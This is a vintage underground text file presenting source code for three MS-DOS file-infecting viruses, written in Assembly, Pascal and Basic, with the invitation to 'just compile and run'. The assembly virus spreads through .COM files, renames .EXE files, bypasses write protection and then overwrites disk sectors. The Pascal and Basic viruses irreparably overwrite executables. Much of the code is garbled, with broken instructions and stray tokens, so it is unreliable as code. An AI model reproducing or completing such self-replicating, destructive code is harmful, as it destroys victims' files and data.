                 Viruses: Assembly, Pascal, Basic & Batch
                 ========================================
Edited/revised/rewritten by QUiCK DeFRoST
Desc: Some awesomely C00l srcs of Viruses...just compile and run
-----------------------------------------------------------------------------
Viruses can be written in practically every computer language known today.
Although most effective viruses have been written in Assembly.
Many of us think that viruses cannot be written in Basic due to its limited
ability. This is untrue. Basic has the capability of producing very effective
viruses if properly used. Combining assembly and basic could futher enhance
the effectiveness of the virus.


Virus in Assembly Language:
---------------------------
Most viruses out there have been written in assembly because assembly has the
unique ability to bypass operating system security.
Here is an example of a virus written under MS-DOS 2.1 and can obviously be
compiled in the later versions. The article contains remarks so as to further
explain the parts. Programmers may wish to delete those segments if desired.

Code   Segment
       Assume  CS:Code
progr  equ 100h
       ORG progr
;****************************************************
;   The three NOP's serve as the marker byte of the *
;   virus which allow it to identify a virus.       *
;****************************************************
MAIN:
       nop
       nop
       nop
;**************************************************
;   Initialize the pointers                       *
;**************************************************
       mov ax,00
       mov es:[pointer],ax
       mov es:[counter],ax
       mov es:[disks],al
;**************************************************
;   Get the selected drive                        *
;**************************************************
       mov ah,19h             ;drive?
       int 21h
;**************************************************
;   Get the current path on the current drive     *
;**************************************************
       mov cs:drive,al        ;save drive
       mov ah,47h             ;dir?
       mov dh,0
       add al,1
       dl,al       ;in actual drive
       lea si,cs:old_path     ;
       int 21h
;**************************************************
;   Get the number of drives present. If only one *
;   is present, the pointer for the search order  *
;   will be set to serach order + 6               *
;**************************************************
       mov as,0eh             ;how many disks
       mov dl,0               ;
       int 21h
       mov al,01
       cmp al,01              ;one drive
       jnz hl,06
hups3: mov ah,0
       lea bx,search_order
       add bx,ax
       add bx,0001h
       mov cs:pointer,bx
       clc
;*****************************************************
;   Carry is set, if no more .COM's are found.       *
;   Then, to avoid unnecessary work, .EXE files will *
;   be renamed to .COM files and infected.           *
;   This causes the error message "Program to large  *
;   to fit memory" when starting larger infected     *
;   EXE programs.                                    *
;*****************************************************
change_disk:
      jnc no_name_change
      mov ah,17h              ;change .EXE to .COM
      lea dx,cs:maske_exe
      int 21h
      cmp al,0ffh
      jnz no_name_change      ;.EXE found?
;***********************************************************
;   If neither  .COM nor .EXE is found then sectors        *
;   will be overwritten depending on the system time       *
;   in milliseconds. This is the time of the complete      *
;   "infection" of a storage medium. The virus can         *
;   find nothing more to infect and starts its destruction *
;***********************************************************
      mov ah,2ch              ; read system clock
      int 21h
      mov bx,cs:pointer
      mov al,cs:[bx]
      mov bx,dx
      mov dh,0
      int 26h                 ; write crap on disk
;********************************************************
;   Check if the end of the search order table has been *
;   reached . If so, end.                               *
;******************************************************** 
no_name_change:
      mov bx,cs:pointer
      dec bx
      mov cs:pointer,bx
      mov dl,cs:[bx]
      cmp dl,0ffh
      jnz hups2
      jmp hops
;**************************************************   
;   Get new drive from the search order table and *
;   select it .                                   * 
;**************************************************   
hups2:
      mov ah,0eh
      int 21h                    ;change disk
;     Start in the root directory
;***************************************************
      mov ah,3bh                 ;change path
      lea dx,path
      int 21h
      jmp find_first_file
;*************************************************
;   Starting from the root, search for the first *
;   subdir. FIrst convert all .EXE files to .COM *
;   in the old directory                         *
;*************************************************
find_first_subdir:
      mov ah,17h                 ;change .exe to .com
      lea dx,
      mov ah,3bh                 ;use root directory
      lea dx,path
      int 21h
      mov ah,04eh                ;search for first subdirectory
      mov cx,00010001b           ;dir mask
      lea dx,maske_dir           ;
      int 21h                    ;
      jc change_disk
      mov bx,CS:counter
      INC,BX
      DEC bx
      jz  use_next_subdir
;******************************************************
;   Search for the next subdirectory. If no more      *
;   directories are found, the drive will be changed. * 
;******************************************************
find_next_subdir:
      mov ah,4fh               ; search for next subdir
      int 21h
      jc change_disk
      dec bx
      jnz find_next_subdir
;****************************
;   Select found directory. *
;****************************
use_next_subdir:
      mov ah,2fh               ;get dta address
      int 21h
      add bx,1ch
      mov es:[bx],'X_[          ;address of name in dta
      inc bx
      push ds
      mov ax,es
      mov ds,ax
      mov dx,3b                 change path
      pop ds
      mov bx,cs:counter
      inc bx
      mov CS:counter,bx
;****************************************************
;    Find first .COM file in the current directory. *
;    If there are none, search the next directory.  *
;****************************************************
find_first_file:
      mov ah,04eh              ;Search for first
        v cx,00000001b         ;mask
      lea dx,maske_com         ;
      int 21h                  ;
      jc find_first_subdir
      jmp check_if_ill
;************************************************
;   If program is ill(infected) then search for *
;   another other.                              *
;************************************************
find_next_file:
      mov ah,4fh               ;search for next
      int 21h
      jc find_first_subdir

;     Check is already infected by virus.
**************************************************
check_if_ill:
      mov ah,3dh              ;open channel
      mov al,02h              ;read/write
      mov dx,9eh              ;address of name in dta
      int 21
      mov bx,ax               ;save channel
      mov ah,3fh              ; read file
      mov ch,buflen           ;
      mov dx,buffer           ;write in buffer
      int 21h
      mov ah,3eh              ;close file
      int 21h
;*********************************************************
;   This routine will search the three NOP's(no          *
;   operation).If present there is already an infection. *
;   We must then continue the search                     *
;*********************************************************
     mov bx,cs:[buffer]
     jz find_next_file
;******************************************************
;   This routine will BY PASS MS-DOS WRITE PROTECTION *
;   if present. Very important !                      *
;******************************************************
     mov ah,43h
     mov al,01h
     and cx,11111110b
     int 21h

;    Open file for read/write access.
*****************************************************
     mov ah,3dh               ;open channel
     mov al,02h               ;read/write
     mov dx,9eh               ;address of name in dta
     int 21h
;***************************************************
;   Read date entry of program and save for future *
;   use.                                           *
;***************************************************
    push dx
;****************************************************
;   The jump located at address 0100h of the program
;   will be saved for further use.
*****************************************************
    mov cs:[jmpbuf],dx
    mov dx,cs:[buffer+;save new jump
    lea cx,cont-100h
    sub dx,cx
    mov cs:[conta],dx
;*****************************************************
;   The virus copies itself to the start of the file.
;*****************************************************
    pop cx                   ;restore date
    int 21h
;*****************************************************
;   Close the file.
;*****************************************************
    mov ah,3eh               ;close file
    int 21h
;*******************************************************
;   Restore the old jump address. The virus saves at   *
;   address "conta" the jump which was at the start of *
;   the host program.                                  *
;   is is done to preserve the executability of the    *
;   host program as much as possible.                  *
;   After saving it still works with the jump address  *
;   contained in the virus. The jump address in the    *
;   virus differs from the jump address in memory.     *
;*******************************************************
       mov cs:[conta],dx
hops:  nop
       call use_old
;************************************
;   Continue with the host program. *
;************************************
cont    db 0e9h                ;make jump
conta   dw 0
        mov ah,00
        int 21h
;**********************************************
;   Reactivate the selected drive at start of *
;   the program.                              *
;**********************************************
use_    mov dl,cs:drive
        int 21h
;**************************************************
;    Reactivate the selected path at the start of *
;    the program.                                 *
;**************************************************  
        mov ah,3bh              use old drive
        lea dx,old_path-1;get old path and backslash
        int 21h
        ret
search_order db 0ffh,1,0,2,3,0ffh,00,offh
pointer      dw   0000           ;pointer f. search order
counter      dw   0000           ;counter f. nth. search
disks        db    0             ;number of disks
maske_com    db "*.com",00       ;search for com files
maske_dir    db "*",00           ;search for dir's
maske_exe    db offh,0,0,0,0,0,00111111b
             db 0,"????????com",0
maske_all    db offh,0,0,0,0,0,00111111b
             db 0,"???????????",0,0,0,0
             db 0,"????????com",0
buffer equ 0e00h                 ;a safe place
buflen equ 230h                  ;lenght of virus!!!!
                                 ;carefull
                                 ;if changing!!!!
jmpbuf equ buffer+buflen         ;a safe place for jmp
path  db "X",0                   ;first place
drive db 0                       ;actual drive
back_slash db "X"
old_path db 32 dup (?)           ;old path
code ends
end main
=============================================================================
Virus in Pascal:
---------------- Number One

Number One infects all .COM - file's name will be displayed
That file has been overwritten with Number Ones's program code and
is not reconstructible! If all files are infected or or no .COM
files are found, Number one gives you a <Smile>.
Files may be protected against infections of Number One by
setting the Read ONLY attribute.
------------------------------------------------------ _G
_G

$C-_G
$U-_G
$I-_G       $ Wont allow a user break, enable IO check_G
$ -- Constants --------------------------------------- _G
ConstVirusSize = 12027;    $Number One's code size_G
     Warning   :String[42]    $Warning message_G
     = 'This file has been infected ny Number One!';
$ -- Type declarations------------------------------------- _G
Type
     DOSnext  :Array[1..21] of Byte;
                   Attr    : Byte;
                   FDate,
                   FLsize,
                   FHsize  : Integer;
                   FullName: Array[1..13] of Char;
                 End;
Registers    = Record    $Register set used for file search _G
   Case Byte of
   1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
   2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte);
   End;
$ -- Variables--------------------------------------------- _G
Var
                               $ Memory offset program code _G
   Pr                                     $ Infected marker _G
   MarkInfected : String[42] absolute Cseg:$180;
   Reg          : Registers;                 $ Register set _G
   DTA          : DTARec;                       $ Data area _G
   Buffer       : Array[Byte] of Byte;        $ Data buffer _G
   TestID       : String[42]; $ To recognize infected files _G
   UsePath      : String[66];        $ Path to search files _G
                                    $ Lenght of search path _G
   UsePathLenght: Byte absolute UsePath;
   Go           : File;                    $ File to infect _G
   B            : Byte;                              $ Used _G

$ -- Program code------------------------------------------ _G
Begin
  WriteLn(Warning);               $ Display warning message _G
  GetDir(0, UsePath);               $ get current directory _G
  ifUsePath := UsePath + 'X';
  UsePath := UsePath + '*.COM';        $ Define search mask _G
  Reg.AH := $1A;                            $ Set data area
  Reg.DS := Seg(DTA);
  Reg.DX := Ofs(DTA);
  MsDos(Reg);
  UsePath[Succ(UsePathLenght)]:=#0; $ Path must end with #0
  Reg.AH := $4E;
  Reg.DS := Seg(UsePath);
  Reg.DX := Ofs(UsePath[1]);
  Reg CX := $ff;          $ Set attribute to find ALL files _G
  MsDos(Reg);                   $ Find first matching entry
  IFRepeat
      UsePath := DTA.FullName;
      B := Pos(#0, UsePath);
      If B > 0 then
      Delete(UsePath, B, 255);             $ Remove garb
      Assign(Go, UsePath);
      If IOresult = 0 Then          $ If not IO error then _G
      Begin
        BlockRead(Go, Buffer, 2);
        Move(Buffer[$80], TestID, 43);
                      $ Test if file already ill(Infected) _G
        If TestID <> Warning Then        $ If not then ... _G
        Begin
          Seek (Go, 0);
                            $ Mark file as infected and .. _G
          MarkInfected := Warning;
                                               $ Infect it _G
          BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7);
        End;
        Close(Go);
        $ The file has already been infected, search next. _G
      Reg.AH := $4F;
      Reg.DS := Seg(DTA);
      Reg.DX := Ofs(DTA);
    $  ......................Until no more files are found _GUntil Odd(Red.Flags);
  Write(_[<Smile>');                          $Give a smile _G
End.
Although this is a primitive virus its effective.In this virus only the .COM
files are infected. Its about 12K and it will change the date entry.
==============================================================================
Virus in Basic:
---------------
Basic is great language and often people think of it as a limited language
and will not be of any use in creating something like a virus. Well you are
really wrong. Lets take a look at a Basic Virus created by R. Burger in 1987.
This program is an overwritting virus and uses (Shell) MS-DOS to infect .EXE
files.To do this you must compile the source code using a the Microsoft
Quick-BASIC.Note the lenght of the compiled and the linked .EXE file and edit
the source code to place the lenght of the object program in the LENGHTVIR
variable. BV3.EXE should be in the current directory, COMMAND.COM must be
available, the LENGHTVIR variable must be set to the lenght of the linked
program and remember to use /e parameter when compiling.

10 REM ** DEMO
20 REM ** MODIFY IT YOUR OWN WAY IF DESIRED **
30 REM ** BASIC DOESNT SUCK
40 REM ** NO KIDDING
50 ON ERROR GOTO 670
60 REM *** LENGHTVIR MUST BE SET **
70 REM *** TO THE LENGHT TO THE **
80 REM *** LINKED PROGRAM ***
90 LENGHTVIR=2641
100 VIRROOT$="BV3.EXE"
110 REM *** WRITE THE DIRECTORY IN THE FILE "INH"
130 SHELL "DIR *.EXE>INH"
140 REM ** OPEN "INH" FILE AND READ NAMES **
150 OPEN "R",1,"INH",32000
160 GET #1,1
170 LINE INPUT#1,ORIGINAL$
180 LINE INPUT#1,ORIGINAL$
190 LINE INPUT#1,ORIGINAL$
200 LINE INPUT#1,ORIGINAL$
210 ON ERROR GOT 670
220 CLOSE#2
230 F=1:LINE INPUT#1,ORIGINAL$
240 REM ** "%" IS THE MARKER OF THE BV3
250 REM ** "%" IN THE NAME MEANS
260 REM  ** INFECTED COPY PRESENT
270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210
280 ORIGINAL$=MID$(ORIGINAL$,1,13)
290 EXTENSIONS$=MID$(ORIGINAL,9,13)
300 MID$(EXTENSIONS$,1,1)="."
310 REM *** CONCATENATE NAMES INTO FILENAMES **
320 F=F+1
330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN
GOTO 350
340 GOTO 320
350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$
360 ON ERROR GOTO 210
365 TEST$=""
370 REM ++ OPEN FILE FOUND +++
380 OPEN "R",2,OROGINAL$,LENGHTVIR
390 IF LOF(2) < LENGHTVIR THEN GOTO 420
400 GET #2,2
410 LINE INPUT#1,TEST$
420 CLOSE#2
431     ++ CHECK IF PROGRAM IS ILL ++
44      ++ "%" AT THE END OF THE FILE MEANS..
450 REM ++ FILE IS ALREADY SICK ++
460 REM IF MID$(TEST,2,1)="%" THEN GOTO 210
470 CLOSE#1
480 ORIGINALS$=ORIGINAL$
490 MID$(ORIGINALS$,1,1)="%"
499 REM ++++ SANE "HEALTHY" PROGRAM ++++
510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$
520 SHELL C$
530 REM *** COPY VIRUS TO HEALTHY PROGRAM ****
540 C$="COPY "+VIRROOT$+ORIGINAL$
550 SHELL C$
560 REM *** APPEND VIRUS MARKER ***
570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
580 WRITE#1,ORIGINALS$
590 CLOSE#1
630 REM ++ OUYPUT MESSAGE ++
640 PRINT "INFECTION IN " ;ORIGIANAL$; "  !! BE WARE !!"
650 SYSTEM
660     ** VIRUS ERROR MESSAGE
670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM
680 END
This basic virus will only attack .EXE files. After the execution you will
see a "INH" file which contains the directory, and the file %SORT.EXE.
Programs which start with "%" are NOT infected ,they pose as back up copies.
